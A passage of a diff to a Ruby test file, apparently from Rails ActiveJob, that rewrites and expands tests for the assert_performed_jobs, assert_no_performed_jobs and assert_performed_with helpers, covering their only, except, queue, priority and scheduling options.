+    def test_assert_performed_jobs_with_only_and_except_option_as_array
+      error = assert_raise ArgumentError do
+        assert_performed_jobs 2, only: [HelloJob, LoggingJob], except: [HelloJob, LoggingJob] do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("stewie")
+          RescueJob.perform_later("david")
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_option_and_none_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, only: HelloJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_except_option_and_none_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, except: LoggingJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_and_except_option_and_none_sent
+      error = assert_raise ArgumentError do
+        assert_performed_jobs 1, only: HelloJob, except: HelloJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_option_and_too_few_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 5, only: HelloJob do
+          HelloJob.perform_later("jeremy")
+          4.times { LoggingJob.perform_later }
+        end
+      end
+
+      assert_match(/5 .* but 1/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_except_option_and_too_few_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 5, except: LoggingJob do
+          HelloJob.perform_later("jeremy")
+          4.times { LoggingJob.perform_later }
+        end
+      end
+
+      assert_match(/5 .* but 1/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_and_except_option_and_too_few_sent
+      error = assert_raise ArgumentError do
+        assert_performed_jobs 5, only: HelloJob, except: HelloJob do
+          HelloJob.perform_later("jeremy")
+          4.times { LoggingJob.perform_later }
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_option_and_too_many_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, only: HelloJob do
+          2.times { HelloJob.perform_later("jeremy") }
+        end
+      end
+
+      assert_match(/1 .* but 2/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_except_option_and_too_many_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, except: LoggingJob do
+          2.times { HelloJob.perform_later("jeremy") }
+        end
+      end
+
+      assert_match(/1 .* but 2/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_and_except_option_and_too_many_sent
+      error = assert_raise ArgumentError do
+        assert_performed_jobs 1, only: HelloJob, except: HelloJob do
+          2.times { HelloJob.perform_later("jeremy") }
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_queue_option
+      assert_performed_jobs 1, queue: :some_queue do
+        HelloJob.set(queue: :some_queue).perform_later("jeremy")
+        HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      end
+    end
+
+    def test_assert_performed_jobs_with_queue_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later("jeremy")
+          HelloJob.set(queue: :other_queue).perform_later("bogdan")
+        end
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_performed_jobs_without_block_with_queue_option
+      HelloJob.set(queue: :some_queue).perform_later("jeremy")
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      assert_performed_jobs 1, queue: :some_queue
+    end
+
+    def test_assert_performed_jobs_without_block_with_queue_option_failure
+      HelloJob.set(queue: :other_queue).perform_later("jeremy")
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, queue: :some_queue
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_and_queue_options
+      assert_performed_jobs 1, only: HelloJob, queue: :some_queue do
+        HelloJob.set(queue: :some_queue).perform_later("jeremy")
+        HelloJob.set(queue: :other_queue).perform_later("bogdan")
+        LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+      end
+    end
+
+    def test_assert_performed_jobs_with_only_and_queue_options_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, only: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later("jeremy")
+          HelloJob.set(queue: :other_queue).perform_later("bogdan")
+          LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+        end
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_performed_jobs_without_block_with_only_and_queue_options
+      HelloJob.set(queue: :some_queue).perform_later("jeremy")
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
 
-class EnqueuedJobsTest < ActiveJob::TestCase
-  def test_assert_enqueued_jobs
-    assert_nothing_raised do
-      assert_enqueued_jobs 1 do
-        HelloJob.perform_later("david")
-      end
+      assert_performed_jobs 1, only: HelloJob, queue: :some_queue
     end
-  end
 
-  def test_repeated_enqueued_jobs_calls
-    assert_nothing_raised do
-      assert_enqueued_jobs 1 do
-        HelloJob.perform_later("abdelkader")
+    def test_assert_performed_jobs_without_block_with_only_and_queue_options_failure
+      HelloJob.set(queue: :other_queue).perform_later("jeremy")
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, only: HelloJob, queue: :some_queue
       end
+
+      assert_match(/1 .* but 0/, error.message)
     end
 
-    assert_nothing_raised do
-      assert_enqueued_jobs 2 do
-        HelloJob.perform_later("sean")
-        HelloJob.perform_later("yves")
+    def test_assert_performed_jobs_with_except_and_queue_options
+      assert_performed_jobs 1, except: HelloJob, queue: :other_queue do
+        HelloJob.set(queue: :other_queue).perform_later("jeremy")
+        LoggingJob.set(queue: :some_queue).perform_later("bogdan")
+        LoggingJob.set(queue: :other_queue).perform_later("jeremy")
       end
     end
-  end
 
-  def test_assert_enqueued_jobs_message
-    HelloJob.perform_later("sean")
-    e = assert_raises Minitest::Assertion do
-      assert_enqueued_jobs 2 do
-        HelloJob.perform_later("sean")
+    def test_assert_performed_jobs_with_except_and_queue_options_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, except: HelloJob, queue: :other_queue do
+          HelloJob.set(queue: :other_queue).perform_later("jeremy")
+          LoggingJob.set(queue: :some_queue).perform_later("bogdan")
+          LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+        end
       end
+
+      assert_match(/1 .* but 0/, error.message)
     end
-    assert_match "Expected: 2", e.message
-    assert_match "Actual: 1", e.message
-  end
 
-  def test_assert_enqueued_jobs_with_no_block
-    assert_nothing_raised do
-      HelloJob.perform_later("rafael")
-      assert_enqueued_jobs 1
+    def test_assert_performed_jobs_without_block_with_except_and_queue_options
+      HelloJob.set(queue: :other_queue).perform_later("jeremy")
+      LoggingJob.set(queue: :some_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :other_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
+
+      assert_performed_jobs 1, except: HelloJob, queue: :other_queue
     end
 
-    assert_nothing_raised do
-      HelloJob.perform_later("aaron")
-      HelloJob.perform_later("matthew")
-      assert_enqueued_jobs 3
+    def test_assert_performed_jobs_without_block_with_except_and_queue_options_failure
+      HelloJob.set(queue: :other_queue).perform_later("jeremy")
+      LoggingJob.set(queue: :some_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, except: HelloJob, queue: :other_queue
+      end
+
+      assert_match(/1 .* but 0/, error.message)
     end
-  end
 
-  def test_assert_enqueued_jobs_when_performing_with_only_option
-    assert_nothing_raised do
-      assert_enqueued_jobs 1, only: HelloJob do
-        perform_enqueued_jobs only: LoggingJob do
-          HelloJob.perform_later("sean")
-          LoggingJob.perform_later("yves")
+    def test_assert_no_performed_jobs_with_only_option
+      assert_nothing_raised do
+        assert_no_performed_jobs only: HelloJob do
+          LoggingJob.perform_later
         end
       end
     end
-  end
 
-  def test_assert_no_enqueued_jobs_with_no_block
-    assert_nothing_raised do
-      assert_no_enqueued_jobs
+    def test_assert_no_performed_jobs_without_block_with_only_option
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      assert_no_performed_jobs only: HelloJob
     end
-  end
 
-  def test_assert_no_enqueued_jobs
-    assert_nothing_raised do
-      assert_no_enqueued_jobs do
-        HelloJob.perform_now
+    def test_assert_no_performed_jobs_without_block_with_only_option_failure
+      HelloJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs only: HelloJob
       end
+
+      assert_match(/0 .* but 1/, error.message)
     end
-  end
 
-  def test_assert_enqueued_jobs_too_few_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_jobs 2 do
-        HelloJob.perform_later("xavier")
+    def test_assert_no_performed_jobs_with_except_option
+      assert_nothing_raised do
+        assert_no_performed_jobs except: LoggingJob do
+          LoggingJob.perform_later
+        end
       end
     end
 
-    assert_match(/2 .* but 1/, error.message)
-  end
+    def test_assert_no_performed_jobs_without_block_with_except_option
+      HelloJob.perform_later("jeremy")
 
-  def test_assert_enqueued_jobs_too_many_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_jobs 1 do
-        HelloJob.perform_later("cristian")
-        HelloJob.perform_later("guillermo")
-      end
+      perform_enqueued_jobs
+
+      assert_no_performed_jobs except: HelloJob
     end
 
-    assert_match(/1 .* but 2/, error.message)
-  end
+    def test_assert_no_performed_jobs_without_block_with_except_option_failure
+      LoggingJob.perform_later("jeremy")
 
-  def test_assert_no_enqueued_jobs_failure
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_no_enqueued_jobs do
-        HelloJob.perform_later("jeremy")
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs except: HelloJob
       end
+
+      assert_match(/0 .* but 1/, error.message)
     end
 
-    assert_match(/0 .* but 1/, error.message)
-  end
+    def test_assert_no_performed_jobs_with_only_and_except_option
+      error = assert_raise ArgumentError do
+        assert_no_performed_jobs only: HelloJob, except: HelloJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
 
-  def test_assert_enqueued_jobs_with_only_option
-    assert_nothing_raised do
-      assert_enqueued_jobs 1, only: HelloJob do
+    def test_assert_no_performed_jobs_without_block_with_only_and_except_options
+      error = assert_raise ArgumentError do
         HelloJob.perform_later("jeremy")
-        LoggingJob.perform_later
+        LoggingJob.perform_later("bogdan")
+
+        perform_enqueued_jobs
+
+        assert_no_performed_jobs only: HelloJob, except: HelloJob
       end
+
+      assert_match(/`:only` and `:except`/, error.message)
     end
-  end
 
-  def test_assert_enqueued_jobs_with_only_and_queue_option
-    assert_nothing_raised do
-      assert_enqueued_jobs 1, only: HelloJob, queue: :some_queue do
-        HelloJob.set(queue: :some_queue).perform_later
-        HelloJob.set(queue: :other_queue).perform_later
-        LoggingJob.perform_later
+    def test_assert_no_performed_jobs_with_only_option_as_array
+      assert_nothing_raised do
+        assert_no_performed_jobs only: [HelloJob, RescueJob] do
+          LoggingJob.perform_later
+        end
       end
     end
-  end
 
-  def test_assert_enqueued_jobs_with_queue_option
-    assert_nothing_raised do
-      assert_enqueued_jobs 2, queue: :default do
-        HelloJob.perform_later
-        LoggingJob.perform_later
-        HelloJob.set(queue: :other_queue).perform_later
-        LoggingJob.set(queue: :other_queue).perform_later
+    def test_assert_no_performed_jobs_with_except_option_as_array
+      assert_nothing_raised do
+        assert_no_performed_jobs except: [HelloJob, RescueJob] do
+          HelloJob.perform_later
+          RescueJob.perform_later
+        end
       end
     end
-  end
 
-  def test_assert_enqueued_jobs_with_only_option_and_none_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_jobs 1, only: HelloJob do
-        LoggingJob.perform_later
+    def test_assert_no_performed_jobs_with_only_and_except_option_as_array
+      error = assert_raise ArgumentError do
+        assert_no_performed_jobs only: [HelloJob, RescueJob], except: [HelloJob, RescueJob] do
+          LoggingJob.perform_later
+        end
       end
+
+      assert_match(/`:only` and `:except`/, error.message)
     end
 
-    assert_match(/1 .* but 0/, error.message)
-  end
+    def test_assert_no_performed_jobs_with_only_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs only: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
 
-  def test_assert_enqueued_jobs_with_only_option_and_too_few_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_jobs 5, only: HelloJob do
-        HelloJob.perform_later("jeremy")
-        4.times { LoggingJob.perform_later }
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_no_performed_jobs_with_except_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs except: LoggingJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
       end
+
+      assert_match(/0 .* but 1/, error.message)
     end
 
-    assert_match(/5 .* but 1/, error.message)
-  end
+    def test_assert_no_performed_jobs_with_only_and_except_option_failure
+      error = assert_raise ArgumentError do
+        assert_no_performed_jobs only: HelloJob, except: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
 
-  def test_assert_enqueued_jobs_with_only_option_and_too_many_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_jobs 1, only: HelloJob do
-        2.times { HelloJob.perform_later("jeremy") }
+    def test_assert_no_performed_jobs_with_queue_option
+      assert_no_performed_jobs queue: :some_queue do
+        HelloJob.set(queue: :other_queue).perform_later("jeremy")
       end
     end
 
-    assert_match(/1 .* but 2/, error.message)
-  end
+    def test_assert_no_performed_jobs_with_queue_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs queue: :some_queue do
+          HelloJob.set(queue: :some_queue).perform_later("jeremy")
+        end
+      end
 
-  def test_assert_enqueued_jobs_with_only_option_as_array
-    assert_nothing_raised do
-      assert_enqueued_jobs 2, only: [HelloJob, LoggingJob] do
-        HelloJob.perform_later("jeremy")
-        LoggingJob.perform_later("stewie")
-        RescueJob.perform_later("david")
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_no_performed_jobs_without_block_with_queue_option
+      HelloJob.set(queue: :other_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
+
+      assert_no_performed_jobs queue: :some_queue
+    end
+
+    def test_assert_no_performed_jobs_without_block_with_queue_option_failure
+      HelloJob.set(queue: :some_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs queue: :some_queue
       end
+
+      assert_match(/0 .* but 1/, error.message)
     end
-  end
 
-  def test_assert_no_enqueued_jobs_with_only_option
-    assert_nothing_raised do
-      assert_no_enqueued_jobs only: HelloJob do
-        LoggingJob.perform_later
+    def test_assert_no_performed_jobs_with_only_and_queue_options
+      assert_no_performed_jobs only: HelloJob, queue: :some_queue do
+        HelloJob.set(queue: :other_queue).perform_later("bogdan")
+        LoggingJob.set(queue: :some_queue).perform_later("jeremy")
       end
     end
-  end
 
-  def test_assert_no_enqueued_jobs_with_only_option_failure
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_no_enqueued_jobs only: HelloJob do
-        HelloJob.perform_later("jeremy")
-        LoggingJob.perform_later
+    def test_assert_no_performed_jobs_with_only_and_queue_options_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs only: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :some_queue).perform_later("bogdan")
+          LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+        end
       end
+
+      assert_match(/0 .* but 1/, error.message)
     end
 
-    assert_match(/0 .* but 1/, error.message)
-  end
+    def test_assert_no_performed_jobs_without_block_with_only_and_queue_options
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :some_queue).perform_later("jeremy")
 
-  def test_assert_no_enqueued_jobs_with_only_option_as_array
-    assert_nothing_raised do
-      assert_no_enqueued_jobs only: [HelloJob, RescueJob] do
-        LoggingJob.perform_later
+      perform_enqueued_jobs
+
+      assert_no_performed_jobs only: HelloJob, queue: :some_queue
+    end
+
+    def test_assert_no_performed_jobs_without_block_with_only_and_queue_options_failure
+      HelloJob.set(queue: :some_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs only: HelloJob, queue: :some_queue
       end
+
+      assert_match(/0 .* but 1/, error.message)
     end
-  end
 
-  def test_assert_enqueued_job
-    assert_enqueued_with(job: LoggingJob, queue: "default") do
-      LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later
+    def test_assert_no_performed_jobs_with_except_and_queue_options
+      assert_no_performed_jobs except: HelloJob, queue: :some_queue do
+        HelloJob.set(queue: :other_queue).perform_later("bogdan")
+        HelloJob.set(queue: :some_queue).perform_later("bogdan")
+        LoggingJob.set(queue: :other_queue).perform_later("jeremy")
+      end
     end
-  end
 
-  def test_assert_enqueued_job_returns
-    job = assert_enqueued_with(job: LoggingJob) do
-      LoggingJob.set(wait_until: 5.minutes.from_now).perform_later(1, 2, 3)
+    def test_assert_no_performed_jobs_with_except_and_queue_options_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs except: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later("bogdan")
+          HelloJob.set(queue: :some_queue).perform_later("bogdan")
+          LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
     end
 
-    assert_instance_of LoggingJob, job
-    assert_in_delta 5.minutes.from_now, job.scheduled_at, 1
-    assert_equal "default", job.queue_name
-    assert_equal [1, 2, 3], job.arguments
-  end
+    def test_assert_no_performed_jobs_without_block_with_except_and_queue_options
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      HelloJob.set(queue: :some_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :other_queue).perform_later("jeremy")
 
-  def test_assert_enqueued_job_failure
-    assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_with(job: LoggingJob, queue: "default") do
-        NestedJob.perform_later
+      perform_enqueued_jobs
+
+      assert_no_performed_jobs except: HelloJob, queue: :some_queue
+    end
+
+    def test_assert_no_performed_jobs_without_block_with_except_and_queue_options_failure
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      HelloJob.set(queue: :some_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :some_queue).perform_later("jeremy")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs except: HelloJob, queue: :some_queue
       end
+
+      assert_match(/0 .* but 1/, error.message)
     end
 
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_with(job: NestedJob, queue: "low") do
+    def test_assert_performed_with
+      assert_performed_with(job: NestedJob, queue: "default") do
         NestedJob.perform_later
       end
     end
 
-    assert_equal 'No enqueued job found with {:job=>NestedJob, :queue=>"low"}', error.message
-  end
+    def test_assert_performed_with_without_block
+      NestedJob.perform_later
 
-  def test_assert_enqueued_job_args
-    assert_raise ArgumentError do
-      assert_enqueued_with(class: LoggingJob) do
-        NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
-      end
-    end
-  end
+      perform_enqueued_jobs
 
-  def test_assert_enqueued_job_with_at_option
-    assert_enqueued_with(job: HelloJob, at: Date.tomorrow.noon) do
-      HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+      assert_performed_with(job: NestedJob, queue: "default")
     end
-  end
 
-  def test_assert_enqueued_job_with_global_id_args
-    ricardo = Person.new(9)
-    assert_enqueued_with(job: HelloJob, args: [ricardo]) do
-      HelloJob.perform_later(ricardo)
+    def test_assert_performed_with_when_queue_name_is_symbol
+      assert_performed_with(job: NestedJob, queue: :default) do
+        NestedJob.perform_later
+      end
     end
-  end
 
-  def test_assert_enqueued_job_failure_with_global_id_args
-    ricardo = Person.new(9)
-    wilma = Person.new(11)
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_enqueued_with(job: HelloJob, args: [wilma]) do
-        HelloJob.perform_later(ricardo)
+    def test_assert_performed_with_returns
+      job = assert_performed_with(job: LoggingJob, queue: "default") do
+        LoggingJob.perform_later(keyword: :sym)
       end
+
+      assert_instance_of LoggingJob, job
+      assert_nil job.scheduled_at
+      assert_equal [{ keyword: :sym }], job.arguments
+      assert_equal "default", job.queue_name
     end
 
-    assert_equal "No enqueued job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message
-  end
+    def test_assert_performed_with_without_block_returns
+      LoggingJob.perform_later(keyword: :sym)
 
-  def test_assert_enqueued_job_does_not_change_jobs_count
-    HelloJob.perform_later
-    assert_enqueued_with(job: HelloJob) do
-      HelloJob.perform_later
-    end
+      perform_enqueued_jobs
 
-    assert_equal 2, queue_adapter.enqueued_jobs.count
-  end
-end
+      job = assert_performed_with(job: LoggingJob, queue: "default")
 
-class PerformedJobsTest < ActiveJob::TestCase
-  def test_performed_enqueue_jobs_with_only_option_doesnt_leak_outside_the_block
-    assert_nil queue_adapter.filter
-    perform_enqueued_jobs only: HelloJob do
-      assert_equal HelloJob, queue_adapter.filter
+      assert_instance_of LoggingJob, job
+      assert_nil job.scheduled_at
+      assert_equal [{ keyword: :sym }], job.arguments
+      assert_equal "default", job.queue_name
     end
-    assert_nil queue_adapter.filter
-  end
 
-  def test_assert_performed_jobs
-    assert_nothing_raised do
-      assert_performed_jobs 1 do
-        HelloJob.perform_later("david")
+    def test_assert_performed_with_failure
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: LoggingJob) do
+          HelloJob.perform_later
+        end
       end
-    end
-  end
 
-  def test_repeated_performed_jobs_calls
-    assert_nothing_raised do
-      assert_performed_jobs 1 do
-        HelloJob.perform_later("abdelkader")
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, queue: "low") do
+          HelloJob.set(queue: "important").perform_later
+        end
       end
     end
 
-    assert_nothing_raised do
-      assert_performed_jobs 2 do
-        HelloJob.perform_later("sean")
-        HelloJob.perform_later("yves")
+    def test_assert_performed_with_without_block_failure
+      HelloJob.perform_later
+
+      perform_enqueued_jobs
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: LoggingJob)
       end
-    end
-  end
 
-  def test_assert_performed_jobs_message
-    HelloJob.perform_later("sean")
-    e = assert_raises Minitest::Assertion do
-      assert_performed_jobs 2 do
-        HelloJob.perform_later("sean")
+      HelloJob.set(queue: "important").perform_later
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, queue: "low")
       end
     end
-    assert_match "Expected: 2", e.message
-    assert_match "Actual: 1", e.message
-  end
 
-  def test_assert_performed_jobs_with_no_block
-    assert_nothing_raised do
-      perform_enqueued_jobs do
-        HelloJob.perform_later("rafael")
+    def test_assert_performed_job_with_priority_option
+      assert_performed_with(job: HelloJob, priority: 10) do
+        HelloJob.set(priority: 10).perform_later
+      end
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, priority: 10) do
+          HelloJob.set(priority: 5).perform_later
+        end
       end
-      assert_performed_jobs 1
     end
 
-    assert_nothing_raised do
-      perform_enqueued_jobs do
-        HelloJob.perform_later("aaron")
-        HelloJob.perform_later("matthew")
-        assert_performed_jobs 3
+    def test_assert_performed_with_with_at_option
+      assert_performed_with(job: HelloJob, at: Date.tomorrow.noon) do
+        HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, at: Date.today.noon) do
+          HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+        end
       end
     end
-  end
 
-  def test_assert_no_performed_jobs_with_no_block
-    assert_nothing_raised do
-      assert_no_performed_jobs
+    def test_assert_performed_with_with_relative_at_option
+      assert_performed_with(job: HelloJob, at: 5.minutes.from_now) do
+        HelloJob.set(wait: 5.minutes).perform_later
+      end
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, at: 2.minutes.from_now) do
+          HelloJob.set(wait: 1.minute).perform_later
+        end
+      end
     end
-  end
 
-  def test_assert_no_performed_jobs
-    assert_nothing_raised do
-      assert_no_performed_jobs do
-        # empty block won't perform jobs
+    def test_assert_performed_with_without_block_with_at_option
+      HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+
+      perform_enqueued_jobs
+
+      assert_performed_with(job: HelloJob, at: Date.tomorrow.noon)
+
+      HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+
+      perform_enqueued_jobs
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, at: Date.today.noon)
       end
     end
-  end
 
-  def test_assert_performed_jobs_too_few_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_jobs 2 do
-        HelloJob.perform_later("xavier")
+    def test_assert_performed_with_with_hash_arg
+      assert_performed_with(job: MultipleKwargsJob, args: [{ argument1: 1, argument2: { a: 1, b: 2 } }]) do
+        MultipleKwargsJob.perform_later(argument2: { b: 2, a: 1 }, argument1: 1)
       end
     end
 
-    assert_match(/2 .* but 1/, error.message)
-  end
+    def test_assert_performed_with_supports_matcher_procs
+      facets = {
+        job: HelloJob,
+        args: ["Rails"],
+        at: Date.tomorrow.noon,
+        queue: "important",
+      }
+
+      facets[:job].set(queue: facets[:queue], wait_until: facets[:at]).perform_later(*facets[:args])
+      perform_enqueued_jobs
 
-  def test_assert_performed_jobs_too_many_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_jobs 1 do
-        HelloJob.perform_later("cristian")
-        HelloJob.perform_later("guillermo")
+      facets.each do |facet, value|
+        matcher = ->(job_value) { job_value == value }
+        refuser = ->(job_value) { false }
+
+        assert_performed_with(**{ facet => matcher })
+
+        assert_raises ActiveSupport::TestCase::Assertion do
+          assert_performed_with(**{ facet => refuser })
+        end
       end
     end
 
-    assert_match(/1 .* but 2/, error.message)
-  end
+    def test_assert_performed_with_time
+      now = Time.now
+      args = [{ argument1: { now: now }, argument2: now }]
 
-  def test_assert_no_performed_jobs_failure
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_no_performed_jobs do
-        HelloJob.perform_later("jeremy")
+      assert_performed_with(job: MultipleKwargsJob, args: args) do
+        MultipleKwargsJob.perform_later(argument1: { now: now }, argument2: now)
       end
     end
 
-    assert_match(/0 .* but 1/, error.message)
-  end
+    def test_assert_performed_with_date_time
+      now = DateTime.now
+      args = [{ argument1: { now: now }, argument2: now }]
 
-  def test_assert_performed_jobs_with_only_option
-    assert_nothing_raised do
-      assert_performed_jobs 1, only: HelloJob do
-        HelloJob.perform_later("jeremy")
-        LoggingJob.perform_later
+      assert_performed_with(job: MultipleKwargsJob, args: args) do
+        MultipleKwargsJob.perform_later(argument1: { now: now }, argument2: now)
       end
     end
-  end
 
-  def test_assert_performed_jobs_with_only_option_as_array
-    assert_nothing_raised do
-      assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
-        HelloJob.perform_later("jeremy")
-        LoggingJob.perform_later("stewie")
-        RescueJob.perform_later("david")
+    def test_assert_performed_with_time_with_zone
+      now = Time.now.in_time_zone("Tokyo")
+      args = [{ argument1: { now: now }, argument2: now }]
+
+      assert_performed_with(job: MultipleKwargsJob, args: args) do
+        MultipleKwargsJob.perform_later(argument1: { now: now }, argument2: now)
       end
     end
-  end
 
-  def test_assert_performed_jobs_with_only_option_and_none_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_jobs 1, only: HelloJob do
-        LoggingJob.perform_later
+    def test_assert_performed_with_with_global_id_args
+      ricardo = Person.new(9)
+      assert_performed_with(job: HelloJob, args: [ricardo]) do
+        HelloJob.perform_later(ricardo)
       end
     end
 
-    assert_match(/1 .* but 0/, error.message)
-  end
+    def test_assert_performed_with_without_block_with_global_id_args
+      ricardo = Person.new(9)
+      HelloJob.perform_later(ricardo)
+      perform_enqueued_jobs
+      assert_performed_with(job: HelloJob, args: [ricardo])
+    end
 
-  def test_assert_performed_jobs_with_only_option_and_too_few_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_jobs 5, only: HelloJob do
-        HelloJob.perform_later("jeremy")
-        4.times { LoggingJob.perform_later }
+    def test_assert_performed_with_failure_with_global_id_args
+      ricardo = Person.new(9)
+      wilma = Person.new(11)
